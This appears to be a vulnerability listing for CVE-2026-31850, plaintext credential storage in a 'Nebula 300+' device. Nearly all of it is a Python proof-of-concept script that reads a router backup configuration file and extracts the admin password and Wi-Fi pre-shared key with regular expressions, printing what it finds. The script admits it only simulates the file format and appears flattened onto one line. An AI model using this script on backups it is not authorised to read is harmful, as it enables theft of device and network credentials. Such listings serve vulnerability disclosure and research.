CVE-2026-31850 Nebula 300+敏感信息明文存储漏洞

# Proof of Concept (PoC) for CVE-2026-31850 # This script simulates parsing a backup configuration file to extract plaintext credentials. import re def parse_backup_config(file_path): """ Parses the vulnerable backup file to find sensitive info. In a real scenario, the file might be XML, JSON, or a specific binary format. Here we simulate a text-based configuration leak. """ sensitive_data = {} try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Simulate regex patterns to find plaintext credentials # Example patterns based on common router config structures admin_pass_pattern = r'admin_password\s*=\s*["\']?([^"\'\s]+)["\']?' wifi_psk_pattern = r'wpa_psk\s*=\s*["\']?([^"\'\s]+)["\']?' admin_match = re.search(admin_pass_pattern, content) wifi_match = re.search(wifi_psk_pattern, content) if admin_match: sensitive_data['Admin_Password'] = admin_match.group(1) print(f"[!] Found Admin Password: {admin_match.group(1)}") if wifi_match: sensitive_data['WiFi_PSK'] = wifi_match.group(1) print(f"[!] Found WiFi PSK: {wifi_match.group(1)}") except FileNotFoundError: print("[!] File not found.") return sensitive_data # Usage example (requires a sample backup file) # parse_backup_config('config_backup.bin')